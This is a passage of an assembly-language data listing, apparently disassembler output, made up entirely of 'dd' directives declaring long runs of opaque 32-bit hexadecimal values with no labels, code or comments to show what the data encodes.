		dd 0ED583EDEh, 0E09FF65Fh, 0B5ABF85Fh, 7FBB0C00h, 53271E0Bh
		dd 93BF758Dh, 0C2182F00h, 4C513ABFh, 57274393h,	3EC2C10h
		dd 6F69B701h, 2DA69D58h, 0DC27D63Eh, 6A2FD0BDh,	0C9F334C3h
		dd 854027F6h, 27B027D5h, 79FB6107h, 3DF0AF70h, 0FF801426h
		dd 283DF81h, 169753CAh,	250090C8h, 0A6652E92h, 75232A1Ah
		dd 0E90D4AF9h, 0E93A083Ah, 1275B855h, 0E3A9AD9Ch, 6048AE9Eh
		dd 0A70FA912h, 0C7FCA0D6h, 54F63833h, 0AAA21600h, 0A563C5BBh
		dd 0E9BD0597h, 853DB2CFh, 77C23AC5h, 4F70B0Dh, 38AF096Ch
		dd 33D21177h, 71AF2516h, 3A08850Fh, 2AB98DF9h, 0EBF6660h
		dd 9344BF62h, 0A56F8C00h, 0FEA14E57h, 6852034Fh, 6476914Ch
		dd 134150D0h, 0C7943097h, 7A9E123Ch, 5A86E314h,	690051F2h
		dd 4CA3993Eh, 0C7071D42h, 60505BCAh, 61EC2E1Bh,	6129E4BEh
		dd 54CE3631h, 94D270Eh,	92DE0EC0h, 0B88C2568h, 0EF75094Ch
		dd 0CB6B1B97h, 0B7CBB6E3h, 2360A14Fh, 0B0602510h, 0F8D25B8h
		dd 238BB75Dh, 8D9A85CBh, 3555813Ah, 0E10D0605h,	4BF0CB6Ah
		dd 7EA048E6h, 0AF05BB7Bh, 41AECAF2h, 0E815CBCh,	34192322h
		dd 0D807E948h, 533774B6h, 0B87AAF10h, 208A05A5h, 0EFF5C380h
		dd 0DBE82599h, 420997DAh, 75724373h, 6509D580h,	99736B8h
		dd 700AF339h, 0A30494FEh, 0AC0BDE99h, 0EE4E1CA2h, 802FAD29h
		dd 5F51361Eh, 0C0641A97h, 9D074141h, 1479C3FBh,	41BF8F18h
		dd 0AB0435DCh, 18D95645h, 5B1E9BEFh, 399FA4B9h,	82971520h
		dd 4A9DD90Dh, 0DB77598h, 0A08B010Fh, 44EC26EFh,	9D43A47Dh
		dd 66D5ED10h, 0E7EB0E00h, 0AA05E64Ch, 0BB4B0474h, 0EF1321DFh
		dd 18C849DAh, 8BCD42C0h, 4B5B73FAh, 4B498AF8h, 6FEF16FBh
		dd 0E849071Bh, 96FB0F7Ch, 0B74A099Eh, 340267A6h, 4D5C56EEh
		dd 3DE24ACh, 0C4F58A1h,	0E2B58127h, 4BAC008Bh, 0F9D61373h
		dd 0C97915B0h, 0C297B5F6h, 60F55A01h, 9F1A293Fh, 4F0902BDh
		dd 84B8D685h, 0EF13098Dh, 1DC8A4DBh, 0E8D690C0h, 0C2742F63h
		dd 0F592E456h, 1AAC2FB9h, 0D5B2978Ch, 0C13A4170h, 5BD70765h
		dd 71C9405Fh, 404F44B3h, 37827ABFh, 0B7199721h,	5E9B2653h
		dd 984D28B8h, 0E17FB75Ah, 95F8D0A2h, 0A990B67h,	64F549DDh
		dd 0BE606021h, 8A25DED8h, 5661F325h, 3CCD7AAAh,	51594760h
		dd 0BE5F0430h, 0C168BC86h, 1269126h, 0B12A14E9h, 0B96229ACh
		dd 0BB87C4h, 0C0868A5Bh, 0C18BA202h, 8945D997h,	0DB71F1B3h
		dd 0CEF6BB8Fh, 30BE3643h, 98B409A2h, 78708312h,	0BAC934EAh
		dd 307FC19Dh, 2D1D6056h, 0B17F4E02h, 7A2C931Bh,	0C0D49F25h
		dd 1195BD61h, 46128806h, 6FFE2F1Ch, 538D12B3h, 975BACB0h
		dd 5156C907h, 1012E950h, 7E1C5E5h, 0AF8EE42Ch, 2BDF800Fh
		dd 0DE04E88Bh, 7F712244h, 153102B0h, 550B39B5h,	2DB19D0Ah
		dd 12331E08h, 6AA7ABE9h, 2CE55332h, 9CAF5F05h, 1B41CDC7h
		dd 0ED3E173Eh, 93313EABh, 7AA41479h, 95F590D1h,	764E5094h
		dd 0DFC0E29Eh, 0CFF00E3Dh, 8401620Eh, 26A25A6h,	26C542C1h
		dd 0F1559002h, 0F4DA077Dh, 4D5A0CAh, 0F301A478h, 505F76E8h
		dd 0B5F2DBB3h, 6FF48344h, 73F849FDh, 522C12E1h,	0F8C08E4Dh
		dd 9AD99D0Bh, 3AE9270Dh, 5071A154h, 0B2391721h,	0C830DBBCh
		dd 0EF392602h, 579B2FD9h, 5B925F79h, 0FB484BE3h, 8AD1B1C0h
		dd 0F90436D4h, 0CB608250h, 0BF9888BAh, 4CBDB70Fh, 129B520Eh
		dd 0F922BC82h, 0AC626375h, 0FA8B0F05h, 0C7D7931h, 93D4A33Ah
		dd 3FA833E9h, 0CE8B7C25h, 0BAF94A40h, 5EB87E34h, 0E0B1C54Bh
		dd 4F9FDDDh, 28E141C1h,	0BC06ED2Fh, 1787242h, 34F42C91h
		dd 7185010Ah, 54282B3Dh, 0A29F8B2Fh, 0B7100D1Dh, 7BBF0129h
		dd 0E649DFD3h, 0CC882E70h, 15220040h, 7B3FE764h, 87718F4Ah
		dd 0BF93CF01h, 50CDB91Dh, 25953570h, 64CB25D5h,	10C51012h
		dd 0F02564E3h, 76AD6051h, 0AAF89208h, 0FFBFAB31h, 6446E27Bh
		dd 49B8DA10h, 598FBB00h, 0C82B46CFh, 0F405F2F8h, 0D18B7E42h
		dd 0E3C9CCh, 4421366Ch,	0A7BFE5AFh, 387C6695h, 0AD4AAEE9h
		dd 3ECA8001h, 24A04EF4h, 89C338Eh, 5F130345h, 0A1C064C4h
		dd 4E554C50h, 1531A047h, 34601397h, 0AA0CFB24h,	0E4BF9735h
		dd 5703590Dh, 608DB812h, 8657E72Ch, 0D03BB411h,	7F518D6Eh
		dd 0C93A5ECDh, 2590BED3h, 2F62C51Fh, 31D5AFE2h,	0EF153FE8h
		dd 0E1378E1Bh, 198F0887h, 0E8BF2956h, 74949570h, 120C9120h
		dd 0F6880F60h, 5CB7722Eh, 0F1619478h, 0FA258B43h, 9890DD53h
		dd 7A3AE145h, 23F20698h, 5ACDB99Dh, 151F2060h, 0EA2C24AAh
		dd 78040F54h, 85B86121h, 69F2D3h, 6C03F3ADh, 0BBDDD56h
		dd 885F6A46h, 0F6AB7981h, 39BBEC5Ch, 219F297Eh,	0F51B9DEh
		dd 80DCDE3Bh, 932BC7A4h, 47CB57Ch, 3EBF0E00h, 0F10C0348h
		dd 2428C26Eh, 0BF7038D5h
		dd 0F8435A0Bh, 0DB26ED2Ch, 8722CAB0h, 89A6603Ah, 5D13AA1Ah
		dd 300C264h, 6D101B20h,	0AFD17Ch, 4A7DA828h, 0D92134BEh
		dd 615E5D12h, 0F94B4FE2h, 8C1CACD9h, 0B5DF6F0Fh, 25AA603Dh
		dd 97F9E232h, 0BF522D18h, 11C7EF05h, 2FAB5B1Bh,	0E2B65B7Ah
		dd 0A29BFCA0h, 0E168A94h, 0CBE250ACh, 831E3DF7h, 93E091CEh
		dd 0AF091AA8h, 0AD57D024h, 41BC5F92h, 357395C0h, 5300D027h
		dd 9FCBB91Ah, 164F8498h, 0B8453BF8h, 0B85BC4D2h, 80229FAEh
		dd 253057F7h, 26D90C40h, 0F1609C73h, 0F0A7324Ah, 92B4DB4Ah
		dd 804AD0EBh, 0FF2519EBh, 0DC49D6E1h, 8E006772h, 0E4C5E68Ch
		dd 0BA995F41h, 9533901Bh, 6F455F96h, 0CE122D7Ch, 882AE216h
		dd 18F5AD78h, 12A6CFC3h, 0E239757Ch, 5529890Bh,	7AD080FBh
		dd 4C771CE8h, 0D0684916h, 53D2A489h, 0E56E604Eh, 9D141A01h
		dd 7FE9BD89h, 0D92555EDh, 327065FBh, 9D380034h,	8A1779C6h
		dd 0A7B87E3Ah, 0CC24A125h, 6635B711h, 0D82BDE07h, 6A223F10h
		dd 30BB0413h, 0B9628C04h, 0BC4C220Fh, 461F40FDh, 295A71A4h
		dd 151E6EB2h, 36FFC0B8h, 0A3BB6F42h, 5DDDB600h,	48C48A61h
		dd 9EF32712h, 340DC70h,	0E27BE35Bh, 3FD6A87Bh, 488925ECh
		dd 0CF8989D2h, 90961F59h, 0A1825035h, 50D760DFh, 72F49F60h
		dd 8BE5A04Eh, 0BB9061F7h, 997C7AF9h, 0A8D13F01h, 2860FB3Ch
		dd 811B4031h, 0A09DF704h, 0D8AF57EBh, 0C1005EF4h, 0B6FA8C22h
		dd 3A97F0A6h, 0AC80DA18h, 0E3C36A72h, 4D0068D7h, 0BB958250h
		dd 5FC431C9h, 0B2FBC00Eh, 6A5B9CB3h, 0A65B606Eh, 0EBB35F40h
		dd 0B2F2A65Ah, 0AE6F3017h, 5C868C26h, 5BA5851Fh, 0A359A5E7h
		dd 0E2924B1h, 22F6E901h, 0A88B7936h, 0F1D4827Ch, 398572FCh
		dd 0D019CAFh, 2AB7844Ch, 2EEC2A5Fh, 0EC3761B1h,	539D0CD9h
		dd 0AB9D132Ch, 0B3A93452h, 258C15ACh, 3110B94Dh, 0A2006F93h
		dd 85630709h, 1F97C836h, 5A6EF20h, 0ABC6DC9Fh, 1523CE6Bh
		dd 0F8CBA609h, 0FBB424E9h, 5EC62762h, 0EE2FCF16h, 30E8D7ADh
		dd 4D4A011Dh, 9284EE9Dh, 0D98164BAh, 772E18A5h,	3195310Dh
		dd 0CCDF0D28h, 2E1DB1BEh, 0DA8F29ACh, 6B301D81h, 2ABD2103h
		dd 9AAC284h, 0AC5656BCh, 2BCA8B0Fh, 0A4055796h,	0ED9DAF0Dh
		dd 0D0F05036h, 0BD00E01Bh, 0FB1E6CEBh, 0D6890C9h, 66E3456Ah
		dd 97846B89h, 33648Ch, 0E94FDB5Fh, 3F9A28E1h, 0F059F400h
		dd 98544E20h, 0DFCF1823h, 6DBFC158h, 37927F17h,	959620BEh
		dd 665BFC46h, 8401336Eh, 85E1BCF5h, 195CFEDCh, 4E85764h
		dd 7FFDD82h, 7D5AA076h,	0CF02A0DAh, 8F0F5061h, 0EB5D7E10h
		dd 901ECFDh, 905F5B52h,	5D721A7Dh, 0DFF8D37Bh, 4E2F81Eh
		dd 4B9F34A7h, 130085C4h, 1C98ADBCh, 86A45F61h, 9731FADEh
		dd 8A4A2C16h, 17C8E2B2h, 799D0384h, 0CDD86889h,	0E45F8222h
		dd 0BD0B087Bh, 69771ADDh, 32ADAE02h, 0FABDD7h, 8A1CFE9Ch
		dd 0F8B723FAh, 0E9C959Fh, 0CB59C66Eh, 9B94FD8Dh, 0D4817003h
		dd 0AC72AD47h, 183AFF8h, 0CCD8510Ch, 0B0003FF6h, 0A3AC0D8Fh
		dd 0C47F58F1h, 122CB572h, 8CB1ADA8h, 15E72F03h,	559BA5A0h
		dd 0AC884C4Ah, 59F200ECh, 689537D6h, 251C4A69h,	8AAD8D29h
		dd 85176B86h, 0AF4BF4ADh, 0BC5B827Fh, 964D8718h, 416098EAh
		dd 9917CADh, 0F9662F06h, 0BDC1F756h, 0F93A072Dh, 653EB920h
		dd 0A790AEFCh, 906D7F9Ah, 128D2D7Ch, 0FCE0137Eh, 1239BB50h
		dd 0A11DF8F7h, 7DF42030h, 9BF3340h, 7A3A4FD3h, 9B1EC75h
		dd 5A340C1Eh, 0BFBF8C2h, 5EC92DBh, 17B20F8h, 84B498Dh
		dd 122B5A9Ch, 0E716F99Dh, 0BF661F36h, 9CAFE556h, 0B5862D15h
		dd 279CFB10h, 0CE9F9105h, 5BF4C48h, 0EFCCE454h,	7EC0509Eh
		dd 57B76399h, 54283148h, 74975FA4h, 0B0B3D4C2h,	878C6582h
		dd 25F556BAh, 5D698BEFh, 0CFF503E2h, 31FC4997h,	551F3AC2h
		dd 0A916770Eh, 8C1DBCCEh, 1FDF3900h, 3732187Fh,	29A63851h
		dd 9204ADCh, 65BB6609h,	0C589F745h, 46D67654h, 0B483031Ah
		dd 0AA480B5Ah, 0CBABE020h, 0C4047EDCh, 96C6DE6Ah, 6409188Ch
		dd 382771B9h, 1FAEF787h, 257AC3A5h, 3DF738C2h, 0A0E2007Ch
		dd 0D7180A92h, 58A8192Dh, 595F124Fh, 903FE226h,	9D891F1Eh
		dd 61AC3392h, 1DFC60C9h, 0D235CEE1h, 4ACBB9D4h,	5B4CB6F0h
		dd 381D071h, 0B99CE92Eh, 0C1C5633Fh, 91D74090h,	0C085EF4Ch
		dd 3E8F0B6Fh, 0D6382767h, 22251C61h, 67018F21h,	5FCB1551h
		dd 1D147D37h, 67588045h, 5FEE962h, 0A1F895C7h, 30E180h
		dd 0D75609B3h, 0E9CA2C4Ah, 0D49D3622h, 0B77F692Bh, 831B9177h
		dd 0A0CB6DF9h, 98A1EC12h, 33BB1685h, 633CBEB5h,	0E93E110Ah
		dd 8BFC099Bh, 1B7977C1h, 0ABDDBF85h, 552A2799h,	0B4EC928Fh
		dd 0A260631Fh, 5F0DF09h, 84497910h, 0E255DC90h,	805F7B91h
		dd 1D37BBBCh, 0F2F1246h, 0C9A231h, 7096802Bh, 75F1D0F5h
		dd 6634096Fh, 7377585Ah, 785E7107h, 5919259Dh, 1815F90Eh
		dd 33583460h, 9591E84Ah, 0BCBC36h, 9BDFD5CDh, 0D45A8F67h
		dd 36E8864Eh, 0FBAE64C0h, 3005939h, 0C780E2D2h,	62605F6Dh
		dd 34F9CC50h, 0B516CD08h, 5C61DE22h, 54EF03E5h,	0C1E13180h
		dd 0F31BA016h, 2F2C581Dh, 0D92DD1E8h, 511B5B05h, 0CB181Ch
		dd 0F827CD26h, 0B4BE1DA3h, 0B7539009h, 0BE897FD7h, 0A86CE95Ch
		dd 0B71B5AD9h, 30C0E70Dh, 0E2543A68h, 34A045Eh,	0BB33E1BDh
		dd 0BC4BB2E3h, 0B7FBE48Eh, 658A4130h, 5DF63F00h, 3D4FB6B5h
		dd 9778229h, 0D50B3DB5h, 1AE5594Dh, 0B8E7720h, 0DF57027Ch
		dd 0D1FFFAADh, 0F5707C73h, 12551DF9h, 0A19796BEh, 55C8077Dh
		dd 21E2BB2Bh, 54647BADh, 6A41E580h, 1D2B90B0h, 0D6891A43h
		dd 0E022B602h, 17C1BAF1h, 0BAA420E6h, 0DD95392h, 9257B0Eh
		dd 57F186B8h, 5B8DE4FBh, 0FE8B34C4h, 0BBCACCEAh, 3A90F9F7h
		dd 0AAE4CCF6h, 74983891h, 5D8C4550h, 0F3D2009Ah, 0AE907DDEh
		dd 5806576Fh, 269BC0B5h, 5FFA27C2h, 761677h, 0A79344D5h
		dd 0E66EBB9Fh, 0B8FE4073h, 1279C795h, 85EB2062h, 8B8027A1h
		dd 78EA93F8h, 47012C0Ah, 9AC935B5h, 0E77E3E26h,	7D11066h
		dd 659D010Ch, 0E32D8071h, 594C5BE4h, 0B888181Dh, 41B23EAFh
		dd 6A9B4401h, 6A579052h, 0FC4BE7A3h, 7DEC5ED0h,	175CE292h
		dd 31EA91E4h, 2F036687h, 0D9BCCECh, 8230FFBDh, 1F655092h
		dd 81886AC9h, 704C9951h, 9033815Fh, 1AADBD29h, 2047292Fh
		dd 74FC9C4h, 0C19874BEh, 6A7A8474h, 0E6B4ABA6h,	2B571CFFh
		dd 5A032CFh, 9BBB6A29h,	1407C04Dh, 97522B08h, 4D93C510h
		dd 548F810Bh, 528E5EABh, 239DB4C0h, 8EBD9Fh, 0E386FC9h
		dd 0CE09BB45h, 7B64CFD4h, 31EF1677h, 428390Eh, 0E81194EAh
		dd 0B9B44A73h, 223246CDh, 0B78EECD2h, 9A405279h, 6E221Bh
		dd 0C255A912h, 571CF8DAh, 0CAA97F4Fh, 81DA94Eh,	512A95B5h
		dd 481088Eh, 5B533ACFh,	9D89010Ah, 91C263Dh, 3092543h
		dd 495EC59Dh, 2081142h,	0E87DC82Bh, 4AE9D139h, 0A41C2570h
		dd 0CCB82B9Dh, 494E10BDh, 9744E04Eh, 0E4576589h, 2712DCF0h
		dd 0F54411FDh, 9608F96Eh, 42E0500h, 4AE93EAFh, 126BE338h
		dd 58F37089h, 5ACA5A50h, 9814B23Ah, 9719711Ah, 282346B1h
		dd 95898577h, 0D32E5518h, 37B09735h, 2E5EA7A4h,	4B72AC6Fh
		dd 6AE3C6B0h, 30EEE55Ah, 6542D7D3h, 0D4837C9Fh,	57C94594h
		dd 0B9098451h, 0F9B7A4C5h, 0E37620BAh, 12004CD3h, 904AF22Fh
		dd 4BF355h, 0EA292C8h
		dd 13164EFh, 2AC5794Bh,	2EB720BEh, 0D3027DB3h, 4332AC66h
		dd 9E9DE5BAh, 0BF1C8181h, 7A5B79F4h, 0EE937BACh, 2C8E6ADBh
		dd 91CA5780h, 6900A364h, 749ABB23h, 4B2B73BEh, 80929BC0h
		dd 6563270Eh, 3BAF063Ah, 0AC29D6B2h, 0ADB47497h, 0FFAB0975h
		dd 0FB23B5B5h, 0F5D32B84h, 4BF5AEBCh, 3C018108h, 2F018A40h
		dd 9AF7A24h, 735DC24Bh,	9B691A66h, 0C464ED7Fh, 808BBD19h
		dd 63943E6Ah, 0F3810280h, 7152F867h, 510E8255h,	6B925ED7h
		dd 27700573h, 0CF05018Dh, 0E9DCADA1h, 74701014h, 85490099h
		dd 873CF4B4h, 724B066Ah, 5489A3A9h, 125BC679h, 0C255BD24h
		dd 0B4FE5B14h, 2E2E4DCh, 0B501F072h, 0CF5E0D7Dh, 8C2B6371h
		dd 978E1FB9h, 9412651Bh, 0CCBA24C9h, 2F00D756h,	60B34321h
		dd 2D7B51D2h, 195DAE94h, 0E9704F46h, 0AF355C4Bh, 8E4DE12Fh
		dd 93D772C0h, 0CC604868h, 4FBEAF01h, 2BB58B7Ah,	5E6144D2h
		dd 4905067h, 0D041D395h, 8DA02C7Bh, 748234A9h, 88CD25CDh
		dd 993372Fh, 99798BA0h,	74581844h, 4F2EB7D9h, 0F4611560h
		dd 0AACCFADAh, 0AD7E036Dh, 0ECDE80A3h, 2F77A0B9h, 68DB6513h
		dd 0A7B25282h, 1AAFE9FDh, 9B5D132Fh, 0D6218043h, 1DA220Fh
		dd 0A5BBD1D8h, 2F6E345Dh, 1635C44h, 0D37AFEh, 0FA103253h
		dd 24C4F872h, 934F2C6h,	0ED754438h, 224C49CFh, 0E69FF902h
		dd 895EE0A6h, 5D46D7FBh, 0A78D893Ah, 0C05BFC26h, 39D27BFh
		dd 0D3957C7Ah, 0E87F72CBh, 17194BEEh, 0FEF9FE84h, 619D0C60h
		dd 52D004Ah, 0F67C1CAFh, 5801B36Fh, 21FE685Fh, 7EF7A1h
		dd 0AE03B886h, 614AD38Bh, 5E4AC8h, 0B0162E06h, 7D8DAF1Ch
		dd 0F0E81D09h, 0F723FF19h, 8DAE201h, 5FE070CDh,	7E7A594Eh
		dd 0D3C21202h, 3CA5F2DDh, 45E2800Dh, 0A33CB076h, 4B050081h
		dd 6E6AFF4Ah, 0CF5A3B8Ah, 0B5172EE6h, 0ADBC5215h, 8C1AAC6Eh
		dd 54C64E00h, 3F4746D0h, 923B6F8h, 0AC5ED2E9h, 81D597F6h
		dd 0A2DB80B0h, 6473372Fh, 0C46BBDD9h, 2F2916EDh, 732EF981h
		dd 233D6B2Fh, 86A80117h, 6D8901F6h, 2EFBC1Bh, 0BD06BF7Eh
		dd 25DD3A1h, 807A5A4h, 61C80999h, 0E05A6FD7h, 8529734Dh
		dd 0A707B121h, 0AC02B77Ch, 71505BE8h, 0DBB70021h, 11454F67h
		dd 0CAAF6318h, 0BB243460h, 3BD07862h, 493EDC97h, 0BD976270h
		dd 99BC8932h, 6B10982h,	2F571C5Dh, 1455E5B7h, 0FB360042h
		dd 28350AE1h, 1311F7AEh, 0BB4F247Ah, 42129A64h,	3B957206h
		dd 8DFA1222h, 567EFF85h, 0B616AC02h, 8B8BEF6Ah,	0D6A53B56h
		dd 0F4696122h, 4539DCD3h, 862C5B0Eh, 0AC884182h, 0ED7E5C8Ch
		dd 0EC2FE9A7h, 4CEA8ED3h, 4E9984F1h, 7B73DD22h,	4A636C5h
		dd 277426E0h, 33E398BDh, 0B58D79BDh, 0EA444C7h,	2F736525h
		dd 65E91468h, 0B72B77E1h, 0B5ACF0F5h, 73E2F80h,	0BB00B29Eh
		dd 0B44E4084h, 257A6A7h, 0D2B973D9h, 44770D90h,	0EA235AECh
		dd 0DDF93261h, 2501CEE0h, 88E7BB78h, 50BF045Ch,	0BC339BFCh
		dd 55CAA261h, 0CD60E86Fh, 4F6D4E6Bh, 8F39BE9Ah,	565BB86Fh
		dd 82D5F027h, 6E4C9573h, 0F6781044h, 0EEC40060h, 404BEBB2h
		dd 8C3BEC0Fh, 500D921Ch, 0E6D2B1B9h, 0C1B0A055h, 2D42053Ch
		dd 0BA459CCDh, 1631058Ch, 0D82AA9BDh, 0EB7AD35Dh, 1A9763E4h
		dd 49ED40D7h, 30B99726h, 6C206E50h, 17E9124h, 44A6C2E9h
		dd 0C8B09DAAh, 0DC098ACEh, 7F34895Fh, 22808237h, 9B88EB79h
		dd 0FAE9486Eh, 76255910h, 16C19D12h, 23B96FAAh,	0F3CC1614h
		dd 8BA9027Fh, 0C0231846h, 4B4D6335h, 6F87DD61h,	92DDDAh
		dd 0BD89DF9Ch, 169D22E5h, 5AA4B306h, 0A0E6DB5Dh, 9526FC92h
		dd 1AE409EDh, 3BACB60h,	4A9A6504h, 5FCF588h, 7EEED880h
		dd 0EA4AE3A8h, 19B20DF6h, 0B6C8530h, 66FBBDF0h,	6E56185Dh
		dd 523F0CC8h, 0F72C24F8h, 13BA3B04h, 0AAE2B68Fh, 7F452500h
		dd 4153AD2Eh, 7AC42C01h, 0F918CCCFh, 4EE1F36Bh,	0BB01E4B6h
		dd 7628512Bh, 22133AFCh, 0D7D0F9BDh, 29205001h,	6B0C0D95h
		dd 1DC8399Bh, 169075C0h, 9AF50432h, 0C5B3B4FAh,	0F781EF67h
		dd 0B73BB886h, 0B170B721h, 12A7FA7Fh, 0AE0FCEDCh, 0DBAB8612h
		dd 29C2C902h, 0F6827CAEh, 0EC72C604h, 45BDEE01h, 620EA92h
		dd 2F9B67BBh, 0AA9A522Eh, 0D6A660C0h, 6017967Ch, 0D2C8F78Bh
		dd 0EA1F00E4h, 7D80185Dh, 97036CD2h, 721971F4h,	0F859E255h
		dd 9B965B34h, 459E82FAh, 0F2D8663Ah, 34BA0042h,	7644A220h
		dd 0AB027891h, 0E54A2930h, 0BF93B06Ch, 41F21346h, 0F09AEF3Eh
		dd 0F0301989h, 251F1358h, 48245FC1h, 1114E525h,	52BB0737h
		dd 96019B48h, 976AFE8Bh, 1C7479D2h, 9F0373DCh, 0EF60C3FEh
		dd 2D46A108h, 3F5F5B7Dh, 0EA00BE95h, 3BF9A3B4h,	0F6B71C14h
		dd 2F86CDBEh, 7AFA5156h, 89DD026Dh, 0C507F19Dh,	25F92614h
		dd 7E9D3CE6h, 35C49D8h,	7DE41A04h, 0D395742Ch, 127DD820h
		dd 3295D64Eh, 8E81FADh,	4F847E4Eh, 9EE093F6h, 0FD027BE8h
		dd 3781CFBBh, 62165652h, 0DCFAB529h, 0B0E767B5h, 269C980Bh
		dd 80031838h, 54B0DEFCh, 4AE9CDAAh, 4D77B883h, 292ABD6Dh
		dd 0CABC7A26h, 0CDA30493h, 29C1421Ah, 4BED285h,	39D9C781h
		dd 4AA2FBD0h, 0D3ED3607h, 0D0010A0Eh, 3BA20E9h,	7902E3E6h
		dd 94DA27DFh, 0F6DE55FAh, 0D1A75F00h, 857F37h, 0AF7955EFh
		dd 19BD92Bh, 0BABC4907h, 0DBF26820h, 33F65541h,	695E7700h
		dd 3B9EB7CCh, 8EAFF328h, 0F602257Eh, 0F7E35247h, 322703C0h
		dd 0C7D0331h, 0DCF849B4h, 338B0BE5h, 0A0DDA3D1h, 857DD526h
		dd 0A90100EBh, 0C2C1658h, 0A100776Ah, 0BD750F61h, 649D922Ah
		dd 0BB1F4B98h, 0D10110ADh, 796E26C0h, 669FECE1h, 0A2001078h
		dd 28BF9588h, 12FF9832h, 0FB9ED031h, 0BA4AABE6h, 3D122CC8h
		dd 0FD986677h, 6991233Dh, 405E8AFAh, 820184FCh,	2F2652B4h
		dd 30832D1Eh, 8BD1F656h, 5C7C11h, 0B8A2B32Bh, 5ADBD07Fh
		dd 754BC160h, 3A960103h, 17603A9Fh, 0CAB6A9D1h,	60D70398h
		dd 0D81762BAh, 1083A554h, 90B77156h, 7AC9B0h, 46BBF9F0h
		dd 57AB7928h, 942F1901h, 16EB439Dh, 0FA2A3171h,	0DC7E9300h
		dd 188332E9h, 7692A78Eh, 0B603AD18h, 4BE58978h,	6701D093h
		dd 10F79795h, 3DEF150Ch, 4D003BC8h, 39BCA1B2h, 8D00848Bh
		dd 14C3D4FFh, 0F4CBF2Fh, 0C8ADCB3Bh, 23F554EBh,	0E8363C02h
		dd 0F2630FF4h, 0E8DB0BF5h, 80DDD512h, 0E1EBEFBFh, 0EC181DEEh
		dd 0CC360088h, 0A162BAA4h, 8FE7D100h, 0B2C24275h, 1C2D01C8h
		dd 4C2CDA32h, 0C2B07B62h, 9FCF3AA0h, 441AC08Ah,	0ADD6139Bh
		dd 0C50E30C3h, 7D82AF8h, 43B7B398h, 0E9F65134h,	7A5FE4F2h
		dd 0C5937400h, 0B9B062F3h, 0EA88387Bh, 1B3FA805h, 8F80EF31h
		dd 9E4060h, 5AFC92ABh, 1739167h, 81845206h, 0EC0BF5h, 274DB76Fh
		dd 5721E53Dh, 0E2126D00h, 9A6A38EFh, 17A60206h,	848E7EBh
		dd 7B725740h, 2DB32718h, 88553DB6h, 88005675h, 0C301F87Ch
		dd 1F843341h, 49FB07D5h, 4620B580h, 4EA89F0Ah, 69F1F600h
		dd 98DE277Fh, 0B05604AEh, 8007FAC8h, 0D4C75187h, 9F92BB78h
		dd 2F11633Ah, 52CF7EA5h, 0C4233590h, 28AC9605h,	7831B0Eh
		dd 0C208F0E7h, 0D3A8DE0Dh, 71D23001h, 8D17869Ah, 0EAB403h
		dd 59AD08EEh, 0B5FA351Fh, 0B0663F00h, 4151C64h,	40C20E1Ah
		dd 0A9834630h, 0CFB305FAh, 0E5DA7E0Ch, 7E670D50h, 0C18F00FCh
		dd 1D3D3426h, 0AF00542Ah, 247929C3h, 1D372CDBh,	0C045AA13h
		dd 0CDB261CCh
		dd 49E226B9h, 31C2539h,	0E18F73CBh, 0FD509F47h,	0BDA79413h
		dd 591CA3F8h, 200D6C9h,	52DABF6Eh, 3949FCE6h, 5D175E67h
		dd 0FECF12A5h, 0C4A6F4E0h, 800B4A34h, 0A1C53FE7h, 0A011200h
		dd 0F2AA58B0h, 984E3FD1h, 80509CA4h, 0F0A79AA4h, 9400E422h
		dd 0DA180FAAh, 5EAE4828h, 10E8FC15h, 0D30A9A6Eh, 1C9D412Fh
		dd 11FF41E5h, 521BEBD9h, 0D65F23B2h, 0A3FBC090h, 20A1361h
		dd 0DED75E53h, 867DE880h, 0A059C921h, 0C00B768Ah, 8837390Eh
		dd 5130E4D9h, 0FB66C8A2h, 7F59804h, 3301B0C0h, 51ABD0D0h
		dd 0BA004A18h, 765D9BE6h, 3F425503h, 0D4926331h, 2DA0EFDDh
		dd 988B2A95h, 0C8960CE3h, 0CEB42902h, 6814D70h,	362CEE2Fh
		dd 28F2AB89h, 0CF2A2B2h, 92CAB05h, 84010E13h, 8CF5DA91h
		dd 0E6F8E3CEh, 477D1774h, 0B500EEEEh, 15C4D570h, 0BB50520h
		dd 0FB9DDD90h, 0D648EF80h, 25D1186Bh, 0B79C877Eh, 0DE231500h
		dd 2219CDFCh, 0E4A6A0CAh, 0BEB3121Dh, 48A34077h, 47E2CCDDh
		dd 92873605h, 0A1007410h, 0E43C2691h, 0A352001Eh, 59432DD5h
		dd 0F797C7BEh, 0A894500h, 0ABA18BB6h, 5F35C8B8h, 33CDA300h
		dd 36E52E83h, 56E20041h, 9EDD2A6Ah, 0E010F8Ah, 979B80F8h
		dd 0AE34B83Fh, 24D3249Dh, 74AD8BEDh, 8E919100h,	0A9001D02h
		dd 5D33E40h, 988B75FFh,	0F9F48F4h, 0EBAF0E3Eh, 251D417Eh
		dd 9E2446C0h, 90C79933h, 0F9080ECBh, 1441A095h,	202A2270h
		dd 4D00EA75h, 0A1F62C23h, 0B4A958h, 2440696Fh, 3116C530h
		dd 8BEB1C00h, 0F7EEE741h, 0BD45009Dh, 0A16119B3h, 662EE5CFh
		dd 30036D4Ch, 0C23C2FD1h, 486B629Ch, 1B532E6h, 0F20BBA5h
		dd 0CC657B60h, 730168D6h, 841C93C9h, 4FF483C1h,	0B54E1C58h
		dd 9EC2AE7h, 0E62A0DEh,	3E3AE800h, 813FC54h, 0DD40826Ch
		dd 0F9EC8EAEh, 0CCE600E0h, 0B05422D9h, 0FFA0DAC4h, 0BB24F80Ah
		dd 8207C04Bh, 4E1238CAh, 4BC7E402h, 3CBBB40h, 5F5457B0h
		dd 0E7BAC2B8h, 1EF833Bh, 5C243C87h, 0CA75AA68h,	3678086Ch
		dd 22112637h, 4E56B800h, 0D0F7298Dh, 6FEE000Dh,	1F053DFCh
		dd 52715A3Eh, 1C02BA0Eh, 0D029070Ch, 5D8F7A1h, 257C5DFCh
		dd 0CEFD5458h, 0A176DC0Ch, 8478F85h, 5F8AC2EFh,	0D68B1591h
		dd 5EEED65Fh, 0FB3DE100h, 5305D9FFh, 4DDA2479h,	0B83B016Dh
		dd 7B2F3FCEh, 0D1009DF2h, 5F44738Ch, 283A3D53h,	599881A9h
		dd 78C8AC38h, 763D9D0h,	1C40A145h, 15C63C7Bh, 0DEFC0500h
		dd 0E32C0410h, 6DA80027h, 0C8F9335Bh, 42002FB4h, 4831BBC6h
		dd 0B11F7h, 4AFAC1D0h, 1CE6832Ah, 97B5C200h, 1896A905h
		dd 0F1650E39h, 50CF021Fh, 79F86763h, 0EBCA00FFh, 0BC747B17h
